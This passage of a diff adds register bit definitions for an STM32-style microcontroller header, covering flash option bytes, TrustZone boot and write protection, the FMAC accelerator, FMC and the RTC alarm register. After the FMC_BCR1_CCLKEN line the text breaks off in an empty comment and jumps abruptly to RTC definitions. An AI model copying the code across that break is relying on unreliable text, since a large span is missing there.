FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ 